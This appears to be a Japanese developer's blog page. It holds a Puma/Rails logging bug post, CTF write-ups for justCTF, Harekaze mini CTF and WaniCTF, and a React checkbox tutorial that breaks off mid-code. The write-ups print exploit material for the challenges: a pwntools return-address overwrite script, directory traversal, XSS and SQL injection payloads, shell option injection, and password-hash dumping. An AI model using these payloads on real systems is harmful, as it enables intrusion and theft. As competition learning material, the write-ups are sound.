ぶちのブログ

競プロとCTFが趣味なWebエンジニアのアウトプットの場

Rails6系でログが正しく出てこなくなったときの対応

TL;DR

puma 5.2.0と5.2.1で、Rubyの標準出力がバッファリングされるようになってしまうというバグが埋め込まれた。
根本的に回避するためにはpumaのバージョンを変えるのが良い。
(他にも$stdout.syncを書き換える等でも解決できるが、バージョンを変えてしまうのが一番手っ取り早い)

Puma 5.2 log not flushed · Issue #2545 · puma/puma · GitHub

はじめに

最近作ったRailsアプリで、ログが出てこなくなって困りました。
少し調べてみると、ログが一定量以上溜まってから出るようになっていることがわかりました。

挙動から入出力ストリームのバッファリングらへんであることまではわかりましたが、原因と解決策を見つけるのが大変だったので、備忘を兼ねて書き留めておきます。

事象

Puma starting in single mode...
(中略)
Use Ctrl-C to stop

のようなログが出た後、Railsから(一見)ログが出なくなる。
何度もリロードを繰り返す等で、一定行数以上のログが貯まると全て出力される。

発生条件

pumaのバージョンが5.2.0か5.2.1で、かつpryのgemを使っていない場合。 また、OSにも依存しているかもしれず、自分の場合はRailsをDocker上で動かしていて、dockerのttyをtrueにしていなかった。

(他にも別のgemとの兼ね合いで、発生したりしなかったりすると考えられる)

原因

Puma 5.2 log not flushed · Issue #2545 · puma/puma · GitHub

pumaのバグで、従来$stdout.sync == trueであったものが、$stdout.sync == falseになってしまった。
デフォルトではrubyは標準出力をバッファリングする設定で、その設定が残っているため、出力がバッファリングされる。

OSでの入出力ストリームの設定にもよるが、ログが1行ずつ出ない場合がある。

解決策

pumaのバージョンを変えてしまうのが良い。

本質的な解決ではないが、pryをインストールしたり、コードの最初に$stdout.sync = true等を書き加える等でも解決できる。

おわりに

グローバル変数周りのバグで、原因特定がとても大変でした。
特に、pumaのバージョンが同じでも、pryと共存している場合は再現しないので、当初はpumaのバージョンを疑うことができませんでした。

グローバル変数は相当慎重に使わないと、原因の特定しにくいバグになることを実感しました。(この例では、グローバル変数を使わざるを得ないときなのでしょうが……)

グローバル変数には、気をつけよう!

justCTF 2020 writeup

はじめに

1/30 15:00 - 2/1 4:00 (JST)に開催されたjustCTF 2020にチーム「LAIT」として参加しました。 y011d4 との二人チームです。
結果は61st/804チームでした。

f:id:betit0919:20210202215405p:plain

このwriteupでは自分が取り組んだ問題についての解法等を書きます。
他の問題についてはチームメイトのwriteupをご覧ください。

フラグを取った問題

[MISC]Sanity Check

『Take That - Rule The World』というタイトルの動画へのリンクが貼られています。
ルールのページに行くと良さそうな気がするので、ルールに書かれていたサンプルのフラグを入力したら通りました。

justCTF{something_h3re!}

[FORE, MISC]PDF is broken, and so is this file

フラグまでの最短経路は以下の通りでした。

binwalk -e challenge

として抽出されるファイルを眺めると、以下のようなテキストファイルが見つかりました。

FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2C
01 2C 00 00 FF DB 00 43 00 08 06 06 07 06 05 08
07 07 07 09 09 08 0A 0C 14 0D 0C 0B 0B 0C 19 12
(以下略)

バイナリのように見え、マジックバイトからjpgだと予想できるため、Hex Fiendにコピペしてバイナリファイルに変換します。
そのバイナリを画像ファイルとして開くと、得られた画像にフラグが書いてあります。

f:id:betit0919:20210202215429j:plain

justCTF{BytesAreNotRealWakeUpSheeple}

他にもいくつもの仕掛けがpdfに施されていましたので、自分が把握できたものを書いておきます。

ファイル自体をテキストファイルで開くと以下のようになっていました。

require 'json'
require 'cgi'
require 'socket'
=begin
%PDF-1.5
%����
% `file` sometimes lies
% and `readelf -p .note` might be useful later
9999 0 obj
<<
/Length 1680
>>stream
=end
port = 8080
if ARGV.length > 0 then
  port = ARGV[0].to_i
end
html=DATA.read().encode('UTF-8', 'binary', :invalid => :replace, :undef => :replace).split(/<\/html>/)[0]+"</html>\n"
v=TCPServer.new('',port)
print "Server running at http://localhost:#{port}/\nTo listen on a different port, re-run with the desired port as a command-line argument.\n\n"
loop do
  s=v.accept
  ip = Socket.unpack_sockaddr_in(s.getpeername)[1]
  print "Got a connection from #{ip}\n"
  request=s.gets
  if request != nil then
    request = request.split(' ')
  end
  if request == nil or request.length < 2 or request[0].upcase != "GET" then
    s.print "HTTP/1.1 400 Bad Request\r\nContent-Length: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n"
    s.close
    next
  end
  req_filename = CGI.unescape(request[1].sub(/^\//,""))
  print "#{ip} GET /#{req_filename}\n"
  if req_filename == "favicon.ico" then
      s.print "HTTP/1.1 404 Not Found\r\nContent-Length: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n"
      s.close
      next
  elsif req_filename.downcase.end_with? ".zip" then
    c="application/zip"
    d=File.open(__FILE__).read
    n=File.size(__FILE__)
  else
    c="text/html"
    d=html
    n=html.length
  end
  begin
    s.print "HTTP/1.1 200 OK\r\nContent-Type: #{c}\r\nContent-Length: #{n}\r\nConnection: close\r\n\r\n"+d
    s.close
  rescue Errno::EPIPE
    print "Connection from #{ip} closed; broken pipe\n"
  end
end
__END__
(以下略)

コメントアウトがうまく使われており、rubyのコードとして有効なものになっています。これを実行するとローカルサーバが立ち上がり、zipファイルがダウンロードできました。(binwalkでも同じzipファイルが抽出できます)

zipファイルを開くと、mutoolという実行ファイルのバイナリとMarkdownファイルが手に入り、Markdownに書かれている通りに実行すると、以下の画像が手に入ります。

./mutool draw -r 300 -o rendered.png challenge

f:id:betit0919:20210202221054p:plain

この画像に「LMGTFY: 2642 didier "42 bytes" object」とあるため、このキーワードで調べると、こちらのページが見つかります。

また、binwalkで抽出されたファイルの中に、以下のようなテキストファイルも見つかりました。

pip3 install polyfile
Also check out the `--html` option!
But you'll need to "fix" this PDF first!

[MISC, WEB] Forgotten name

隠されたサブドメインを探す問題です。prefixは与えられていますが、digコマンド等ではサブドメインは探せませんでした。

https://transparencyreport.google.com/https/certificatesというサイトがあるとチームメイトに教えてもらいました。
最初はスコアサーバのサブドメインから探していましたが見つからず、かなり時間が経ってから他のweb問題等のドメインサブドメインを探すと以下のドメインが見つかりました。

6a7573744354467b633372545f6c34616b735f6f3070737d.web.jctf.pro

このサブドメインを16進のasciiコードとして解釈するとフラグが得られます。

justCTF{c3rT_l4aks_o0ps}

フラグを取りたかった問題

[WEB] Computeration

作題ミスにより、自分の任意のサーバにHTTPSでアクセスさせれば、refererからadminのページが見つかるという問題でした。

しかし、refererの仕様を知らず、HTTPでしかアクセスさせていなかったため、見つけることができませんでした……。

developer.mozilla.org

no-referrer-when-downgrade (既定値) これはポリシーが指定されていない場合や、与えられた値が無効であった場合の既定の動作です。プロトコルのセキュリティ水準が同一である場合 (HTTP→HTTP, HTTPSHTTPS) または改善される場合 (HTTP→HTTPS) は、 URL のオリジン、パス、クエリ文字列がリファラーとして送信されますが、低下する場合 (HTTPS→HTTP) は、リファラーは送信されません。

自分のサイトにHTTPSでアクセスさせてrefererとして得られるURLにアクセスすると、フラグが直接書かれています。

justCTF{cross_origin_timing_lol}

感想

全体的に難易度が高く「これが海外CTFか」となりました。
兎にも角にも、web問専門のはずなのに全然webが解けていないので、これからも精進していきます。

Harekaze mini CTF 2020 write-up

はじめに

Harekaze mini CTF 2020にソロで参加し、5問を解いて141人中28位でした。
非常に面白い問題が多かったです!

運営の皆様ありがとうございました。

f:id:betit0919:20201227105452p:plain

f:id:betit0919:20201227105504p:plain

解けた問題の解法

[Misc warmup] Welcome

説明文にあるHarekazeCTF{4nch0rs_4we1gh}を提出するだけ。

[Misc medium] NM game

NimKの変形みたいな問題。競技プログラマ歓喜
1-3個までpeddleを取れるので、相手の番のときにすべてのheapの数が4の倍数になっていれば、以下の戦略で勝てる。

  • 相手が取ったheapから、4-(相手が取ったpeddleの個数)個のpeddleを取る。・・・①

つまり、すべてのheapを4の倍数にすることを目的にしてよい。
すべてのheapの数を4で割ったあまりを考えると、そのままNimKに帰着できる。すなわちそれらのxorが0になるように取っていけば良い。戦略は以下の通り。

  • 全てのheapを4で割ったあまりのxorでの畳み込みが0になるようにheapとpeddleの数を選んで取る。・・・②

また、②の戦略が①の戦略を包含していることがわかる。どの山から取ればxorが0になるかは全探索すればよい。

# frozen_string_literal: true

require 'socket'

$sockin = TCPSocket.open('20.48.84.64', '20001')
$sockout = $sockin

def solve(ns)
  ns.length.times do |i|
    # i番目のheapのpeddleをj=1~3個減らしてみる
    (1..3).each do |j|
      # j個減らせない場合
      next if (ns[i] - j).negative?

      ns_copy = ns.dup
            ns_copy[i] -= j
            # 4で割った余りのxorでの畳込みが0であれば良い
      return [i, j] if ns_copy.map { |k| k % 4 }.inject(:^).zero?
    end
  end
end

loop do
  response = $sockin.gets
  puts response
  break if response.nil?
  next unless response =~ /^[0-9]/

  ns = response.split(' ').map(&:to_i)
  if ns.length == 1
    $sockout.write("#{ns[0] % 4}\n")
  else
    ans = solve(ns)
    $sockout.write("#{ans[0]}\n")
    $sockout.write("#{ans[1]}\n")
  end
end

$sockin.close

HarekazeCTF{pe6b1y_qRundY_peb6l35}

[Web warmup] What time is it now?

escapeshellcmdは対になっている'エスケープしないので、任意のオプションをdateコマンドに渡すことができそう。
format=%27%20--help%27というパラメータを渡し、オプションを眺めると、-fオプションというのが見つかるので、それにflagへのpathを渡す。
format=%27%20-f/flag%27というパラメータを渡すとフラグが出てくる。

HarekazeCTF{1t\'s_7pm_1n_t0ky0}

[Crypto easy] QR

QRコードを01の行列で表したときの、任意の2*2の範囲にある和が与えられている。つまり以下の例のような変換をQRコードに対して行ったものが与えられている。

1 0 0            3 2
1 1 1      =>    3 4
0 1 1

復元する際に、特定の行と列が全てわかっていれば、そこから逆算できる。
QRコードの仕様より、7行目と7列目は確定するので、以下のようなコードを解いた

# frozen_string_literal: true

output = [
  [3, 2, 2, 2, 2, 3, 2, 1, 1, 1, 2, 2, 1, 1, 2, 3, 3, 3, 3, 2, 1, 1, 2, 3, 2, 2, 3, 2, 2, 2, 2, 3],
  [2, 1, 2, 2, 1, 2, 2, 0, 1, 2, 2, 3, 3, 1, 0, 2, 0, 0, 3, 2, 2, 1, 1, 3, 2, 2, 2, 1, 2, 2, 1, 2],
  [2, 2, 0, 0, 2, 2, 2, 1, 2, 3, 3, 3, 3, 2, 2, 2, 2, 3, 3, 2, 2, 2, 3, 0, 2, 2, 2, 2, 0, 0, 2, 2],
  [2, 2, 0, 0, 2, 2, 2, 2, 3, 3, 3, 3, 2, 2, 3, 1, 1, 3, 3, 3, 2, 2, 0, 0, 2, 2, 2, 2, 0, 0, 2, 2],
  [2, 1, 2, 2, 1, 2, 2, 2, 0, 0, 2, 2, 3, 3, 2, 1, 2, 3, 3, 3, 2, 1, 2, 3, 2, 2, 2, 1, 2, 2, 1, 2],
  [3, 2, 2, 2, 2, 3, 2, 2, 3, 3, 2, 2, 3, 3, 2, 2, 2, 2, 3, 3, 2, 1, 1, 2, 2, 2, 3, 2, 2, 2, 2, 3],
  [2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 1, 1, 1, 2, 3, 3, 3, 2, 2, 3, 3, 3, 3, 2, 1, 2, 2, 2, 2, 2, 2],
  [1, 0, 0, 1, 1, 1, 2, 3, 2, 1, 1, 1, 1, 1, 2, 2, 3, 3, 2, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 1, 0, 1],
  [2, 1, 0, 1, 2, 2, 2, 3, 3, 2, 1, 2, 3, 2, 2, 2, 3, 3, 2, 2, 1, 2, 3, 2, 3, 3, 3, 3, 2, 2, 1, 1],
  [3, 3, 2, 2, 3, 3, 1, 1, 3, 3, 1, 2, 3, 1, 2, 3, 3, 0, 2, 1, 2, 3, 0, 3, 2, 2, 3, 2, 0, 1, 1, 0],
  [2, 3, 0, 0, 0, 3, 1, 0, 2, 2, 1, 3, 2, 1, 2, 1, 2, 0, 3, 3, 0, 3, 2, 2, 2, 2, 3, 2, 0, 0, 1, 1],
  [0, 2, 3, 2, 3, 3, 2, 2, 2, 1, 2, 3, 2, 3, 3, 1, 2, 0, 0, 0, 0, 3, 2, 1, 2, 3, 2, 2, 2, 1, 2, 3],
  [0, 2, 3, 2, 3, 3, 3, 3, 2, 2, 2, 1, 1, 2, 2, 2, 3, 3, 2, 2, 3, 0, 0, 3, 2, 2, 2, 2, 2, 2, 3, 3],
  [0, 2, 0, 3, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 1, 2, 3, 2, 1, 1, 2, 2, 3, 0, 3, 1, 1, 1, 0, 2, 0, 2],
  [1, 3, 0, 3, 2, 2, 2, 3, 3, 1, 1, 3, 0, 0, 2, 1, 2, 2, 2, 3, 3, 1, 1, 2, 3, 2, 0, 0, 0, 1, 2, 1],
  [3, 3, 3, 0, 3, 2, 1, 2, 3, 1, 0, 1, 3, 0, 3, 2, 3, 2, 1, 2, 3, 3, 1, 0, 1, 2, 2, 2, 1, 0, 1, 1],
  [3, 2, 2, 3, 0, 3, 2, 3, 3, 2, 2, 1, 2, 3, 2, 3, 3, 2, 1, 1, 3, 0, 3, 1, 1, 3, 0, 3, 1, 1, 2, 1],
  [3, 2, 2, 2, 2, 2, 3, 0, 2, 1, 3, 2, 1, 2, 2, 3, 3, 3, 2, 2, 0, 0, 0, 2, 2, 3, 2, 2, 2, 3, 2, 0],
  [0, 2, 1, 2, 1, 1, 3, 0, 2, 0, 1, 2, 2, 3, 3, 3, 0, 3, 2, 3, 0, 3, 2, 2, 3, 2, 1, 3, 3, 2, 2, 1],
  [3, 3, 2, 2, 2, 2, 2, 2, 1, 1, 1, 1, 2, 3, 2, 1, 3, 2, 1, 2, 2, 2, 1, 1, 2, 2, 3, 3, 1, 0, 2, 3],
  [3, 3, 2, 1, 2, 3, 2, 2, 2, 3, 3, 2, 1, 1, 1, 0, 2, 3, 2, 1, 1, 3, 3, 2, 1, 2, 0, 2, 1, 1, 2, 0],
  [2, 2, 1, 0, 2, 3, 3, 3, 2, 3, 0, 3, 1, 0, 1, 1, 1, 2, 2, 1, 2, 0, 0, 3, 1, 1, 2, 1, 2, 3, 3, 3],
  [0, 2, 3, 2, 2, 2, 3, 2, 0, 2, 3, 1, 0, 1, 3, 2, 1, 2, 2, 2, 3, 3, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2],
  [2, 3, 0, 3, 1, 1, 2, 2, 1, 2, 2, 1, 2, 2, 3, 3, 2, 2, 2, 2, 3, 2, 0, 1, 3, 0, 0, 0, 2, 0, 1, 2],
  [2, 2, 2, 1, 0, 1, 1, 2, 2, 2, 2, 1, 3, 2, 2, 0, 3, 1, 1, 1, 2, 3, 1, 2, 3, 2, 2, 3, 3, 2, 2, 1],
  [2, 2, 2, 2, 2, 2, 1, 2, 3, 2, 1, 0, 1, 1, 2, 3, 2, 2, 2, 2, 2, 2, 2, 3, 2, 1, 1, 2, 3, 2, 1, 0],
  [3, 2, 2, 2, 2, 3, 2, 1, 2, 1, 0, 0, 1, 2, 3, 3, 2, 2, 1, 2, 3, 1, 1, 3, 2, 1, 1, 2, 2, 0, 0, 0],
  [2, 1, 2, 2, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2, 2, 3, 0, 2, 1, 3, 0, 3, 1, 2, 3, 2, 2, 3, 2, 0, 0, 1],
  [2, 2, 0, 0, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 2, 3, 0, 3, 2, 2, 2, 2, 1, 2, 3, 3, 3, 3, 3, 2, 1, 1],
  [2, 2, 0, 0, 2, 2, 2, 0, 2, 2, 0, 1, 2, 2, 3, 0, 3, 3, 2, 1, 2, 2, 1, 1, 2, 2, 1, 2, 3, 3, 2, 0],
  [2, 1, 2, 2, 1, 2, 2, 0, 2, 2, 0, 2, 3, 2, 3, 3, 2, 3, 2, 1, 3, 0, 2, 1, 3, 3, 1, 1, 2, 2, 1, 0],
  [3, 2, 2, 2, 2, 3, 2, 1, 2, 2, 1, 1, 2, 3, 3, 2, 3, 3, 1, 0, 2, 0, 3, 3, 3, 2, 1, 1, 3, 2, 0, 1]
]

ans = 33.times.map { [nil] * 33 }
# 7行目と7列目を埋めておく
ans[6] = [1] * 7 + [0, 1] * 9 + [0] + [1] * 7
ans = ans.transpose
ans[6] = [1] * 7 + [0, 1] * 9 + [0] + [1] * 7

loop do
  32.times do |i|
    32.times do |j|
      a = ans[i][j]
      b = ans[i][j + 1]
      c = ans[i + 1][j]
      d = ans[i + 1][j + 1]
      next if [a, b, c, d].count(&:nil?) != 1

      # 2*2の範囲で1箇所だけ未知という状態ならば、その未知の値を逆算できる
      ans[i][j] = (output[i][j] - b - c - d) % 4 if a.nil?
      ans[i][j + 1] = (output[i][j] - a - c - d) % 4 if b.nil?
      ans[i + 1][j] = (output[i][j] - a - b - d) % 4 if c.nil?
      ans[i + 1][j + 1] = (output[i][j] - a - b - c) % 4 if d.nil?
    end
  end
  break if ans.all?(&:all?)
end

# 出力部分
require 'chunky_png'

png = ChunkyPNG::Image.new(33, 33)
33.times do |i|
  33.times do |j|
    png[i, j] = ChunkyPNG::Color(ans[i][j] == 1 ? 'black' : 'white')
  end
end
png.save('qr.png')

出力されたpngを読み取るとHarekazeCTF{d0_y0u_7hink_qr_ch4113ng3_i5_r3411y_in_d3m4nd}と出てくる。

[Reversing easy] Wait

まず実行するのが少し大変だった。

docker run --rm -it -v $PWD:/tmp ubuntu:18.04
apt update && apt install libssl1.0.0

とすれば実行できる。

フラグが^HarekazeCTF\{ID[A-Z]{4}X\}$という形式であることを教えてもらえるが、検証の際に1秒ほど待たされる。単純な全探索を行おうとすると、264秒 ~ 5日ほどかかるので、並列化する必要がある。

シェルのバックグラウンド実行で簡単に並列化した。(実行するとlogs以下に大量のファイルが出力されるので注意)

#!/bin/sh -eux

mkdir -p logs

for a in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
do
for b in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
do
for c in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
do
for d in A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
do
  (echo HarekazeCTF\{ID${a}${b}${c}${d}X\} | ./a.out > logs/${a}${b}${c}${d}) & 
done
done
done
done

出力されたlogファイルから、correctという文字列を探すと見つかる。(ちょっとエスパー)

grep correct -ril logs
logs/RACI

なので、フラグはHarekazeCTF{IDRACIX}

感想

あまり時間がとれなかったのもあるが、個人的にはもう少し解きたかったなという感想。
一人だとどうしても勉強のモチベが保てないので、チームとかに入ってちゃんと勉強していこうか悩み中。。。

WaniCTF 2020 write-up

はじめに

WaniCTF 2020に参加して、31問中27問を解いて、2776点の19位でした。

f:id:betit0919:20201123203137p:plain

f:id:betit0919:20201123203141p:plain

pwnは今までほぼ解けたことがなかったのですが、誘導がとても親切だったので、その場で調べていくつか問題が解けました!
勉強するのにとても良いCTFだったと思います。運営の皆様ありがとうございます。

解けた問題について自分の解法を書いていきます!

Crypto

Veni, vidi

シーザー暗号です。

# frozen_string_literal: true

input = 'SYNT{fvzcyr_pynffvpny_pvcure}'

ans = input.chars.map do |c|
  if /[a-zA-Z]/.match? c
    (/[a-mA-M]/.match? c) ? (c.ord + 13).chr : (c.ord - 13).chr
  else
    c
  end
end

puts ans.join

フラグはFLAG{simple_classical_cipher}でした。

問題のタイトルは、カエサルの「来た、見た、勝った」という言葉から来ているんですかね。

exclusive

XORでの任意の元の逆元は自分自身であることを使います。また、MASKは最初の文字がFLAGになるべきことから"ABC" * 19と逆算できます。

# frozen_string_literal: true

input = File.read('output.txt')

ans = input.chars.zip(('ABC' * 19).chars).map do |a|
  p a
  (a[0].ord ^ a[1].ord).chr
end

puts ans.join

フラグはFLAG{xor_c1ph3r_is_vulnera6le_70_kn0wn_plain7ext_@ttack!}でした。

Basic RSA

1問目は掛け算するだけ、2問目は累乗するだけです。2問目はpythonの組み込み関数のpowを使うと楽です。

3問目はwikipediaを見ながら以下のようなコードを書きました。

from math import gcd
from functools import reduce


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)


# ここにサーバーに接続して出力される値を入れる
p = 7041432130313244796950281993838902739106439356602877714606458384186213903288787226221432324354767044069350532186121341963391409509516178480593162872866793
q = 11168556882323638148036515557772740080904748076290399509593200663285981658968914827361721721954443249620521957648766089916382265796646797400675750685604361
e = 65537
c = 40570423974891430080253870022682679517702984542456600527002069526532030082165299716261597786667147378002625873399114107986243122220539493233002893189198066015414805681443248328710386911991880235918762406465422175949543893842466948081047589075028548896125198494757236156848768239966798457098574796136702253681

tmp, tmp2, d = egcd((p - 1) * (q - 1), 65537)

print(pow(c, d, p * q))

フラグはFLAG{y0uv3_und3rst00d_t3xtb00k_RSA}でした。

LCG Crack

LCGで作られた暗号を解読する問題。

問題名そのままで調べたら、https://tailcall.net/blog/cracking-randomness-lcgs/というページが引っかかったので、こちらのコードを大いに参考にして解きました。

from math import gcd
from functools import reduce


def egcd(a, b):
    if a == 0:
        return (b, 0, 1)
    else:
        g, x, y = egcd(b % a, a)
        return (g, y - (b // a) * x, x)


def modinv(b, n):
    g, x, _ = egcd(b, n)
    if g == 1:
        return x % n


def crack_unknown_increment(states, modulus, multiplier):
    increment = (states[1] - states[0] * multiplier) % modulus
    return modulus, multiplier, increment


def crack_unknown_multiplier(states, modulus):
    multiplier = (states[2] - states[1]) * \
        modinv(states[1] - states[0], modulus) % modulus
    return crack_unknown_increment(states, modulus, multiplier)


def crack_unknown_modulus(states):
    diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
    zeroes = [t2 * t0 - t1 * t1 for t0, t1,
              t2 in zip(diffs, diffs[1:], diffs[2:])]
    modulus = abs(reduce(gcd, zeroes))
    return crack_unknown_multiplier(states, modulus)


print(
    crack_unknown_modulus(
        # ここにサーバーに接続して出力される値を順に入れる
        [
            243331861946710531,
            5810350824751231991,
            8560247047094378475,
            788442681630378710,
            1443969830598239223
        ]
    )
)

こちらのコードでa, b, mの値が求まるので、10回分手動で次の値を求めました。

フラグはFLAG{y0u_sh0uld_buy_l0tt3ry_t1ck3ts}でした。

l0g0n

エンターを2回押したらフラグが出てきてしまった。(0文字のものを暗号化しても0文字になるという性質があるからですかね)

フラグはFLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}でした。

Forensics

logged_flag

key_log.txtを見て、手でフラグを復元しました。secret.jpgのほうが使う必要がありませんね。
自分はUSキーボードなのでそのまま復元できました。

フラグはFLAG{k3y_l0gg3r_1s_v3ry_d4ng3r0us}でした。

ALLIGATOR_01

Volatilityを用いて、vol.py -f ALLIGATOR.raw --profile=Win7SP1x86 pstree | grep evilとすると、evil.exeが実行された時間がわかります。

フラグはFLAG{2020-10-26_03:01:55_UTC+0000}でした。

ALLIGATOR_02

非想定解ですが、stringsだけで解けます。strings ALLIGATOR.raw | grep FLAG{

フラグはFLAG{y0u_4re_c0n50les_master}でした。

chunk_eater

IHDR、IDAT(2箇所)、IEND(2箇所)となるべき部分がWANIになっているため、Hex Fiendで開いて適切に書き換えると画像が開けます。

フラグはFLAG{chunk_is_so_yummy!}でした。

ALLIGATOR_03

Volatilityを用いて、vol.py -f ALLIGATOR.raw hashdump -y 0x8781a008 -s 0x93791458 --profile=Win7SP0x86とするとパスワードのNTLMハッシュがわかります。

NTLMハッシュをdecodeしてくれそうなサイトを適当に探してdecodeすると、パスワードがilovewaniであることがわかり、このパスワードでzipが解凍できます。

フラグはFLAG{The_Machikane_Crocodylidae}でした。

zero_size_png

IDATのサイズを求めると1872057 bytesでした。これを素因数分解すると、3 * 11 * 17 * 47 * 71になることと、idat_bytes = height * (4 * width + 1)という関係が成り立つこと、画像が恐らく正方形に近そうなことからエスパーし、画像サイズを599 * 781と特定しました。
Hex Fiendでこのサイズに書き換えると、画像が開けます。

フラグはFLAG{Cyclic_Redundancy_CAT}でした。

Misc

Find a Number

log_2(500000) ~ 18.9 < 20なので二分探索で解けます。
コードを書くのが面倒だったので、手動で二分探索しました。

フラグはFLAG{b1n@ry_5e@rch_1s_v3ry_f@5t}でした。

MQTT Challenge

入力欄に#と打つことで、ワイルドカードで指定できます。

フラグはFLAG{mq77_w1ld_c4rd!!!!_af5e29cb23}でした。

PWN

netcat

nc netcat.wanictf.org 9001に接続して、cat flag.txtとする。

フラグはFLAG{netcat-1s-sw1ss-4rmy-kn1fe}でした。

car rewrite

nc var.wanictf.org 9002に接続して、AAAAAAAAAAWANIとする。
シェルが取れるのでcat flag.txtとします。

フラグはFLAG{1ets-1earn-stack-w1th-b0f-var1ab1e-rewr1te}でした。

binsh address

strings -t x ./pwn03とすると、inputという文字列から見た、/bin/shという文字列の相対アドレスが0x10なので、与えられたアドレスに+0x10すればよいことがわかります。

フラグはFLAG{cAn-f1nd-str1ng-us1ng-str1ngs}でした。

got rewriter

入力後に呼ばれるread関数のGOTでのアドレス0x601048を、win関数0x400807に書き換えるとwin関数が呼び出されます。
read関数のアドレスはobjdump -d -M intel ./pwn04からわかります。

フラグはFLAG{we-c4n-f1y-with-gl0b41-0ffset-tab1e}でした。

ret rewrite

解説できるほど理解度が高くないので、コードだけ貼っておきます。

import pwn

io = pwn.remote("ret.wanictf.org", 9005)
# io = pwn.process("./pwn05")

ret = io.readuntil("What's your name?: ")
print(ret)

addr = 0x00400838
s = b"A" * 22
s += pwn.p64(addr)

print(s)

io.send(s)
io.interactive()

フラグはFLAG{1earning-how-return-address-w0rks-on-st4ck}でした。

Reversing

strings

strings strings | grep FLAGとするとフラグがわかります。

フラグはFLAG{s0me_str1ngs_rem4in_1n_t7e_b1nary}でした。

simple

Ghidraでmain関数をデコンパイルすると、以下のようなコードが出てきます。

char local_78 [48];

local_78[0] = 'F';
local_78[1] = 0x4c;
local_78[2] = 0x41;
local_78[3] = 0x47;
local_78[4] = 0x7b;
local_78[5] = 0x35;
local_78[6] = 0x69;
local_78[7] = 0x6d;
local_78[8] = 0x70;
local_78[9] = 0x31;
local_78[10] = 0x65;
local_78[11] = 0x5f;
local_78[12] = 0x52;
local_78[13] = 0x65;
local_78[14] = 0x76;
local_78[15] = 0x65;
local_78[16] = 0x72;
local_78[17] = 0x73;
local_78[18] = 0x31;
local_78[19] = 0x6e;
local_78[20] = 0x67;
local_78[21] = 0x5f;
local_78[22] = 0x34;
local_78[23] = 0x72;
local_78[24] = 0x72;
local_78[25] = 0x61;
local_78[26] = 0x79;
local_78[27] = 0x5f;
local_78[28] = 0x35;
local_78[29] = 0x74;
local_78[30] = 0x72;
local_78[31] = 0x69;
local_78[32] = 0x6e;
local_78[33] = 0x67;
local_78[34] = 0x73;
local_78[35] = 0x7d;

local_78という文字列と入力が一致すればいいことから、フラグがわかります。

フラグはFLAG{5imp1e_Revers1ng_4rray_5trings}でした。

complex

面倒なのでangrを使ってしまいました。数時間待っているとフラグが得られました。

import angr

p = angr.Project("./complex")
state = p.factory.entry_state()
sim = p.factory.simulation_manager(state)
sim.explore(find=(0x400000 + 0x1cb9,))
if len(sim.found) > 0:
    print(sim.found[0].posix.dumps(0))

フラグはFLAG{did_you_really_check_the_return_value}でした。

Web

DevTools_1

dev toolを見るとHTMLのコメント内にフラグが書かれています。

フラグはFLAG{you_can_read_html_using_devtools}でした。

DevTools_2

dev toolからページの内容を書き替えればフラグが出てきました。

フラグはFLAG{you_can_edit_html_using_devtools}でした。

Simple Memo

ディレクトリトラバーサルの問題です。../が空文字列に置換されるので、?file=....//flag.txtにアクセスすると、../flag.txtの内容が読み込めます。

フラグはFLAG{y0u_c4n_get_hi5_5ecret_fi1e}でした。

striped table

XSSの問題です。黒背景の部分だけsanitizeが抜けているので、<script>alert(19640503)</script>という内容の投稿を2回行うことでXSSが成立します。

フラグはFLAG{simple_cross_site_scripting}でした。

SQL Challenge 1

year=1 or 1 = 1としたいのですが、スペースが使えません。そこで、区切り文字として()を使い?year=(1)or(1)=(1)としました。

フラグはFLAG{53cur3_5ql_a283b4dffe}でした。

SQL Challenge 2

入力の最初に'がついていないので、multibytes sql injectionも難しそうでした。
とりあえずMySQL予約語を片っ端から試していたところ、?year=falseと入力したときにフラグが出てきました。

後から考えると、数字から始まらない文字列とfalseは、どちらも暗黙の型変換で0にcastされるからのようですね。

フラグはFLAG{5ql_ch4r_cf_ca87b27723}でした。

React hooksを使ったチェックボックスを関数オブジェクトの再生成を抑えて実装する方法

追記

2020/11/10: formに渡すべき属性が一部不適切だったので修正しています。イベントハンドラ等には変更ありません。

はじめに

React hooksを使ったcheckboxの実装を調べてみても、関数オブジェクトの再生成を防ぐ方法が出てきませんでした。
自分でちゃんと実装したので、備忘がてら紹介します。

要件

React hooksを用いたFunctionalComponentで、チェックボックスを実装する。
その際に、イベントハンドラの関数オブジェクトが再生成されないような実装を行う。
また、uncontrolled componentは推奨されていないので使わない(controlled componentを使う)。

調べるとよく出てくる実装(関数オブジェクトが再生成されてしまう)

const Checkbox = () => {
  const [checked, setChecked] = useState(false);
  const handleCheckboxClick = useMemo(() => {
    console.log("function generated in Checkbox");
    return (e) => {
      setChecked(!checked);
    };
  }, [checked]);

  return (
    <label htmlFor="checkbox">
      {checked ? "clicked!!" : "click me"}
      <input
        checked={checked}
        name="checkbox"
        onChange={handleCheckboxClick}
        type="checkbox"
        id="checkbox"
        value="somevalue"
      />
    </label>
  );
};

こんな感じのコードが紹介されている場合が多いようです。

この実装ではたとえuseCallbackを使ったとしても、depsにcheckedが入ってしまうので、チェックされる度に関数オブジェクトが再生成されることを避けられません。

僕の考えた実装例

先程の実装例のうち、handleCheckboxClickの定義(と関数名)のみを書き換えています。

const MyCheckbox = () => {
  const [checked, setChecked] = useState(false);
  const handleCheckboxClick = useMemo(() => {
    console.log("function generated in MyCheckbox");
    return (e) => {
      setChecked(e.target.checked);
    };
  }, []);

  return (
    <label htmlFor="mycheckbox">
      {checked ? "clicked!!" : "click me"}
      <input
        checked={checked}
        name="mycheckbox"
        onChange={handleCheckboxClick}
        type="checkbox"
        id="mycheckbox"
        value="somevalue"
      />
